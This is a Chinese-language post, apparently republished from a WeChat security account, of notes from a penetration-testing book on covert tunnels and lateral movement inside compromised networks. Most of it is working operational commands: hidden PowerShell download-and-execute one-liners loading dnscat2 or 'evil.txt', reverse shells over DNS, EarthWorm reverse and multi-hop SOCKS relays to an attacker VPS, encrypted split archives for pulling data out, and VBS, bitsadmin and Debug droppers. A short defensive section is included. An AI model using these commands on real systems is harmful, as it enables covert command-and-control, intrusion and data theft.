推荐使用powershell版本的dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)。如果要使用dnscat2-Powershell脚本,目标Windows机器需要支持powershell2.0以上版本。
把脚本下载到目标机器中,执行如下命令:
Import-Module .dnscat2.ps1
当然,也可以执行如下命令来加载脚本,下载地址见(https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1)
IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
加载脚本后,执行如下命令,开启dnscat2-powershell服务:
Start-Dnscat2 -Domain ***.yokan.*** -DNSServer 106.***.***.***
输入如下命令,使用IEX加载脚本的方式,在内存中打开dnscat2客户端
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain c**.yokan.*** -DNSServer 106.***.***.***}
在客户端中运行dnscat2.ps1脚本之后,在服务器中可以看到客户端上线的提示
4、反弹shell
dnscat2服务端使用的是交互模式,所有的流量都由DNS来处理。dnscat2的使用方法和Metasploit类似。
客户端和服务端建立连接后,服务端处理交互模式,输入“Windows”或者“sessions"命令,可以查看当前的控制进程(每个连接都是独立的)
输入”window -i 1"或者“session -i 1"命令,进入目标主机,输入“help”命令,可以查看控制台支持的命令。
输入"shell”命令,打开另外一个会话,建立一个交互环境。可以输入cmd命令,进行查询
调用exec命令,可以远程打开程序。例如
exec notepad.exe
执行如下命令,创建一个控制台,然后可以执行powershell命令和脚本
exec psh
dnscat2还提供了多域名并发的特性,可以将多个子域名绑定在同一个NS下,然后在服务端同时接收多个客户端连接,具体命令如下:
ruby dnscat2.rb --dns=port=53532 --security=openstart --dns domain=,domain=
碘的原子序数为53,而这恰好是DNS的端口号,故该工具被命名为"iodine"
iodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine是基于C语言开发的,分为服务端程序iodined和客户端程序iodine。kali中内置了iodine。 下载:https://github.com/Al1ex/iodine
(iodine相对于dnscat2来说,速度和稳定性都是在dnscat2之上的,因此建立DNS隧道,iodine这款工具是首选)
与同类工具相比,iodine有如下优点:
i)不会对下行数据进行编码
ii)支持多平台,Linux、Windows、BSD、Mac OS
iii)支持16个并发连接
iv)支持强密码机制
v)支持同网段隧道IP地址
vi)支持多种DNS记录类型
vii)提供了丰富的隧道质量检测措施
iodine支持直接转发和中继两种模式,其原理是:通过 TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。更多使用方法和功能特性,请参考iodine的官方文档:http://code.kryo.se/iodine
1、安装服务端
首先,设置域名。在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)。设置A记录iodine服务器的IP地址,将NS记录指向此域名
接下来,在服务端中安装iodine。在Windows中,需要安装编译好的对应版本的iodine。在Kali Linux中,默认安装了iodine。如果使用的是基于Debian的发行版Linux,可以执行如下命令进行安装:
apt install iodine
安装后,就可以使用如下命令运行iodine了
iodined -f -c -P just_test 192.168.0.1 ***.yokan.*** -DD
-f : 在前台运行
-c : 禁止检查所有传入请求的客户端IP地址
-P : 客户端和服务器之间用于验证身份的密码
-D : 指定调试级别。 -DD指第二级。“D”的数量随等级增加
这里的192.168.0.1是自定义的局域网虚拟IP地址。完成基本配置后,可以通过iodine检查页面(https://code.kryo.se/iodine/check-it)检查配置是否正确
如果配置无误却无法正常工作,需要检查服务端的防火墙配置情况。
2、安装客户端,并使用DNS隧道
2-1)在Linux客户端机器上,只需要安装iodine客户端,命令如下:
apt install iodineiodine -f -P just_test ***.yokan.*** -M 200
-r : iodine有时可能会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道
-M : 指定上行主机名的大小
-m : 调节最大下行分片的大小
-T : 指定所使用的DNS请求的类型,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A
-O : 指定数据编码规范
-L : 指定是否开启懒惰模式(默认为开启)
-I : 指定请求与请求之间的时间间隔
出现这个表明建立连接成功
可以看到,客户端上多了一块dns0虚拟网卡
并且可以看到路由规则上增添了192.168.0.0这个网段
在VPS服务端上已经建立了连接
使用DNS隧道:新启一个终端,我们尝试在VPS上远程连接目标机器,显示连接成功
2-2)如果目标机器是Windows机器,因此需要下载编译好的Windows版本,同时,需要安装TAP网卡驱动程序。也可以下载OpenVPN,在安装时仅选择TAP-Win32驱动程序( 下载地址:https://swupdate.openvpn.org/community/releases/tap-windows-9.9.2_3.exe)。安装后,服务器上多了一块名为"TAP-Windows Adapter V9"的网卡
然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip
将iodine-0.7.0-Windows解压后,进入解压目录,输入如下命令,连接服务端
( 要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用)
iodine.exe -f -P just_test ***.yokan.***
如果出现,如上图,“Connection setup complete, transmitting data.”的提示信息,就表示DNS隧道已经建立了。
此时,TCP over DNS已经建立了。在客户端执行"ping 192.168.0.1"命令,连接成功
使用DNS隧道:DNS隧道的使用方法比较简单。由于客户端和服务器在同一个局域网中,只要直接访问即可。例如,登录目标主机的3389端口,就可以直接执行"rdesktop 192.168.0.2:3389"命令。同样,目标主机也可以通过SSH进行登录服务器
·防御DNS隧道的方法
防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。
i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。
iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告
iv)阻止ICMP
SOCKS代理
常见的网络场景有如下三类:
i: 服务器在内网中 ,可以任意访问外部网络。
ii: 服务器在内网中 ,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接
iii:服务器在内网中,对外只开放了部分端口(如80),且服务器不能访问外部网络
常用SOCKS代理工具
SOCKS是一种代理服务,可以简单地将一端的系统连接另一端。SOCKS分为SOCKS4和SOCKS5:SOCKS4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。
SOCKS代理可以理解为增强版的lcx 。
常见工具:
·EarthWorm
EW是一套便携式的网络工具,具有SOCKS5服务架设和端口转发两个核心功能,可以在复杂的网络环境中实现网络穿透,https://github.com/rootkiter/EarthWorm
https://codeload.github.com/idlefire/ew/zip/master
EW能够正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统 (Linux、Windows、Mac OS、ARM-Linux均包含在内)。
EW的新版本Termite,https://github.com/rootkiter/Termite
·reGeorg
reGeorg的主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本地。
reGeorg可以使目标服务器在内网中连接内部开放端口。reGeorg利用webshell建立一个SOCKS代理进行内网穿透
·sSocks
sSocks支持SOCK5验证,支持IPv6和UDP,并提供反向SOCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)
·SocksCap64
SocksCap64是一款在Windows环境中相当好用的全局代理软件,http://www.sockscap64.com/
SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理访问
·Proxifier
Proxifier也是一款非常好用的全局代理软件,https://www.proxifier.com/
Proxifier提供了跨平台的端口转发和代理功能,适用于Windows、Linux、macos平台
·ProxyChains
ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器
http://proxychains.sourceforge.net/
SOCKS代理技术在网络环境中的应用
·EarchWorm的应用
EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂网络环境的多级级联。
操作手册:
测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,内网其他机器之间均不能直接连接。
①正向SOCKS 5服务器
以下命令适用于目标机器拥有一个外网IP地址的情况, 如上图内网web服务器的模拟外网IP为192.168.1.7。在web服务器上面上传对应的ew程序并执行:
ew -s ssocksd -l 888
这样,就在内网web服务器上面架设了一个端口为888的socks代理服务。接下来我们就可以设置proxychains或SocksCap64添加这个socks代理服务器(192.168.1.7)的代理即可。配置proxychains:
打开内网Windows server 8的远程桌面:
proxychains4 rdesktop 192.168.52.138
②反弹SOCKS 5 服务器
适用于目标机器没有公网IP地址的情况具体如下:
在攻击者公网vps上面上传ew_for_linux64并执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
该命令的意思是,在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给1234端口
接着,在内网web服务器(192.168.52.143)上传ew_for_Win.exe,并执行命令:
ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234
该命令的意思是,在IP地址为192.168.52.143的服务器上启动SOCKS5 服务,然后反弹到公网IP地址为39.XXX.XXX.210的1234端口上
最后返回公网VPS的命令行界面。可以看到反弹成功了:
现在就可以在攻击者计算机上面配置proxychains或SocksCap64等工具通过访问公网vps(39.xxx.xxx.210)的1080端口来使用内网web服务器上面架设的socks代理服务了。
③二级网络环境(a)
适用于目标机器拥有一个外网IP地址的情况下。具体如下:
右侧内网A主机有两个网卡,一个连接外网(192.168.1.7),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。
我们先将ew上传至B主机上面,并用ssocksd方式启动1234端口的正向socks代理:
ew_for_Win.exe -s ssocksd -l 1234
接着,将ew上传至A主机中,并执行命令:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234
该命令的意思是将A主机1080端口收到的代理请求转发给B主机(192.168.52.138)的1234端口。
现在,我们就可以通过访问A主机的公网IP(192.168.1.7)的1080端口来使用架设在B主机上的socks代理服务了。
④二级网络环境(b)
刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?
如上图环境,A主机既没有公网IP,可以能访问外网,不能访问内网其他主机资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。
这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务。
我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送给1234端口,执行命令:
ew_for_linux64 -s lcx_listen -l 1080 -e 1234
然后将ew上传至内网B(192.168.52.138)主机,并利用ssocksd方式启动999端口的正向socks代理,执行命令:
ew_for_Win.exe -s ssocksd -l 999
最后,将ew上传到内网A主机上,在A主机(192.168.52.143)上利用lcx_slave方式,将公网vps的1234端口与内网B主机(192.168.52.138)的999端口连接起来,执行命令:
ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999
此时,就可以设置proxychains等代理工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks代理服务了。
⑤三级网络环境
三级网络环境在渗透测试中比较少见,也比较复杂。下面详细讲解三级级联命令的用法:
测试环境为:右侧的内网A主机没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被A主机访问;C主机可被B主机访问,而且能够访问核心区域。
在公网VPS上执行如下命令,将1080端口收到的代理请求转发给888端口
ew -s rcsocks -l 1080 -e 888
在A主机上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来
ew -s lcx_slave -d 139.xxx.xxx.113 -e 888 -f 10.48.128.12 -g 999
在B主机上执行如下命令,将999端口收到的代理请求转发给777端口
ew -s lcx_listen -l 999 -e 777
在C主机上启动SOCKS5服务,并反弹到B主机的777端口上
ew -s rssocks -d 10.48.128.12 -e 777
现在就可以通过访问公网VPS(139.XXX.XXX.113)的1080端口使用在C主机上架设的SOCKS 5代理了。
·在Windows下使用SocksCap64实现内网漫游
下载安装https://www.sockscap64.com/ ,以管理员权限打开程序(默认已经添加了浏览器)
SocksCap64的使用方法比较简单,单机"代理"按钮,添加一个代理,然后设置代理服务器的IP地址和端口即可。设置完成后,可以单机界面上的闪电图标按钮,测试当前代理服务器是否可以连接
选择浏览器,单机右键,在弹出的快捷菜单中单机"在代理隧道中运行选中程序"选项,就可以自由访问内网资源了。例如,访问192.168.111.156的80端口
尝试登录192.168.111.175的3389端口:
右键 添加一个EXE文件,找到mstsc.exe添加
单机右键,在弹出的快捷菜单中单机"在代理隧道中运行选中程序"选项
·在Linux下使用proxychains实现内网漫游
Kali linux中预装了proxychains,稍加配置就可以使用。打开终端,输入如下命令
vi /etc/proxychains.conf
在底部输入SOCKS代理信息,保存
测试以下代理服务器是否能正常工作
proxyresolv www.baidu.com
此时会显示“命令未找到”。在终端输入:
cp /usr/lib/proxychains3/proxyresolv /usr/bin
再次测试,显示‘OK',表示代理服务器已经正常工作了。
现在就可以访问内网了。
先访问内网中的网站。在终端输入' proxychains firefox',启动火狐浏览器。 待浏览器打开即可访问内网中的网站:
在每个工具前面加上 'proxychains' ,命令即可在内网中使用,例如一些扫描器
proxychains nmap 192.169.111.175proxychains sqlmap -u 192.168.111.157
通过proxychains,Metasploit也可在内网中使用
输入如下命令,启动metasploitproxychains msfconsole即可正常在内网中使用
压缩数据
在渗透测试中,下载数据是一项重要的工作。下面就具体讲讲压缩软件在渗透测试中的使用方法。
RAR
WinRAR提供了强力压缩、分卷、加密和自解压模块,简单易用。
如果目标机器安装了WinRAR,可以直接使用;如果没有安装,可以在本地下载并安装,然后把WinRAR安装目录里的rar.exe文件提取出来,上传到目标机器中(安装WinRAR的操作系统版本和目标机器的操作系统版本必须相同,否则可能会出错
-a: 添加要压缩的文件-k: 锁定压缩文件-s: 生成存档文件(这样可以提供压缩比)-p: 指定压缩密码-r: 递归压缩,包括子目录-x: 指定要排除的文件-v: 分卷打包,在打包大文件时用处很大-ep:从名称中排除路径-ep1:从名称中排除基本目录-m0:存储,添加到压缩文件时不压缩文件-m1:最快,使用最快压缩方式(低压缩比)-m2:较快,使用快速压缩方式-m3:标准,使用标准压缩方式(默认)-m4:较好,使用较强压缩方式(速度较慢)-m5:最好,使用最强压缩方式(最好的压缩方式,但速度最慢)
·以RAR格式压缩/解压
把C:Users86153Desktoptestrar 目录下的所有内容(包括子目录)打包为1.rar,放到C:Users86153Desktoptestrar 目录下,命令如下:
Rar.exe a -k -r -s -m3 C:Users86153Desktoptestrar1.rar C:Users86153Desktoptestrar
接下来讲解一下如何解压文件:
把刚刚打包的C:Users86153Desktoptestrar1.rar 文件解压到当前根目录下,命令如下
Rar.exe e C:Users86153Desktoptestrar1.rar
e:解压到当前根目录下
x:以绝对路径解压
以ZIP格式压缩/解压的命令和RAR一样,只需把后缀改称'.zip'
·分卷压缩/解压
分卷压缩E盘API目录下的所有文件及文件夹(使用-r参数进行递归压缩),设置每个分卷为20MB,结构为test.part1.rar、test.part2.rar、test.part3.rar ...... 命令如下:
Rar.exe a -m0 -r -v20m E:test.rar E:API
解压:将E:test.part01.rar解压到E盘的xl目录下:
Rar.exe x E:test.part01.rar E:x1
7-Zip
7-Zip有更高的压缩比。与WinRAR相比,7-Zip对系统资源的消耗较少
常见参数:
-r 递归压缩-o 指定输出目录-p 指定密码-v 分卷压缩(设置要适当,否则文件会非常多)a 添加压缩文件
如果目标机器装有7-Zip,可以直接使用;如果没有安装,可以在本地下载并安装,然后把7-Zip安装目录里的7z.exe文件提取出来,上传到目标机器中.
·普通压缩/解压方式
把E:webs 目录下的所有内容(包括子目录)打包为1.7z,放到E:webs 目录下,压缩密码为'12345' , 命令如下:
7z.exe a -r -p12345 E:webs1.7z E:webs
把已经打包的E:webs1.7z 文件解压到E:x目录下,命令如下:
7z.exe x -p12345 E:webs1.7z -oE:x
·分卷压缩/解压方式
分卷压缩E盘API目录下的所有文件及文件夹(使用-r参数进行递归压缩),指定压缩密码为'admin',每个分卷20MB,结构为test.7z.001,test.7z.002,test.7z.003 ....... 命令如下:
7z.exe -r -v1m -padmin a E:test.7z E:API
解压文件,执行如下命令,将E:test.7z.001解压到E盘的x1目录下:
7z.exe x -padmin E:test.7z.001 -oE:x1
上传和下载
对于不能上传shell,但是可以执行命令的Windows服务器(而且唯一的入口就是命令行环境),可以在shell命令行环境中对目标服务器进行上传和下载操作。
利用FTP协议上��
在本地或者VPS上搭建FTP服务器,通过简单的FTP命令即可实现文件的上传。
常用的FTP命令:
open <服务器地址> :连接服务器cd <目录名> :进入指定目录lcd <文件夹路径> : 定位本地文件夹type:查看当前的传输方式ascii:设定传输方式为ASCII码方式 binary:设定传输方式为二进制方式put <文件名> [newname] 上传send <文件名> [newname] 上传get/recv:下载单个文件get filename [newname](filename为下载的ftp服务器上的文件名,newname为保存在本都计算机上时使用的名字,如果不指定newname,文件将以原名保存。get/recv命令下载的文件将保存在本地计算机的工作目录下。该目录是启动ftp客户端时的工作目录目录。如果想修改本地计算机的工作目录,可以使用 lcd 命令。比如:lcd /tmp 表示将工作目录设定/tmp/目录。mget:下载多个文件mget filename [filename ....](mget命令支持通配符“*”和“?”,比如:mget *.jpg 表示下载ftp服务器当前目录下的所有扩展名为jpg的文件。)prompt:关闭/打开互交提示。
利用VBS上��
利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。将以下命令保存到download.vbs文件中:
Set Post = CreateObject("Msxm12.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://server_ip/target.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode =3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)aGet.SaveToFile "C:testtarget.exe",2
在目标服务器的shell命令行环境中依次输入上述命令
echo Set Post = CreateObject("Msxm12.XMLHTTP") >>download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>download.vbsecho Post.Open "GET","http://server_ip/target.exe",0 >>download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>download.vbsecho aGet.Mode =3 >>download.vbsecho aGet.Type = 1 >>download.vbsecho aGet.Open() >>download.vbsecho aGet.Write(Post.responseBody) >>download.vbsecho aGet.SaveToFile "C:testtarget.exe",2 >>download.vbs
依次执行以上命令,会生成download.vbs。
通过执行download.vbs,即可实现下载target.exe文件的操作:
Cscript download.vbs
利用Debug上��
利用Debug上传文件的原理是,先将需要上传的EXE文件转换为十六进制HEX的形式,再通过echo命令将HEX代码写入文件,最后利用Debug功能将HEX代码编译并还原成EXE文件。
在kali中,exe2bat.exe工具位于/usr/share/windows-binaries目录下。在该目录下执行如下命令,把需要上传的ew.exe文件转换成十六进制HEX的形式
wine exe2bat.exe ew.exe ew.txt
此时会生成一个ew.txt文件。
然后,利用目标服务器的Debug功能,将HEX代码还原为EXE文件。使用echo命令,将ew.txt里面的代码复制到目标系统的命令行环境中。依次执行命令,生成1.dll、123.hex、ew.exe。
使用debug是一种比较老的方法,exe2bat.exe只支持小于64KB的文件。
利用Nishang上��
使用Nishang上传文件的原理:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download_Execute脚本下载文本并将其转换为EXE文件
在这里,需要使用echo命令将Nishang PowerShell脚本的内容上传到目标服务器中,并将扩展名改为".ps1"
执行一下命令,利用Nishang中的exetotext.ps1脚本将msf.exe修改为文本文件msf.txt
.ExeToText.ps1 msf.exe msf.txt
接着,通过echo命令,先将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。
最后,输入如下命令,调用Download_Execute脚本下载并执行该文本文件
Download_Execute http://192.168.111.156/msf.txt
利用bitsadmin下载
bitsadmin是一个命令行工具,Windows XP以后的Windows操作系统中自带该工具。
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:test1.txt
利用powershell下载
PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。
远程下载文件保存在本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')
远程执行命令:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
内网安全书籍推荐
🌐内网安全攻防-渗透测试实战指南(电子版下载)
链接:https://pan.baidu.com/s/1Fu1w66Ra7ow6Xf7y-6oW_g?pwd=qrby
原文始发于微信公众号(安全帮):《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论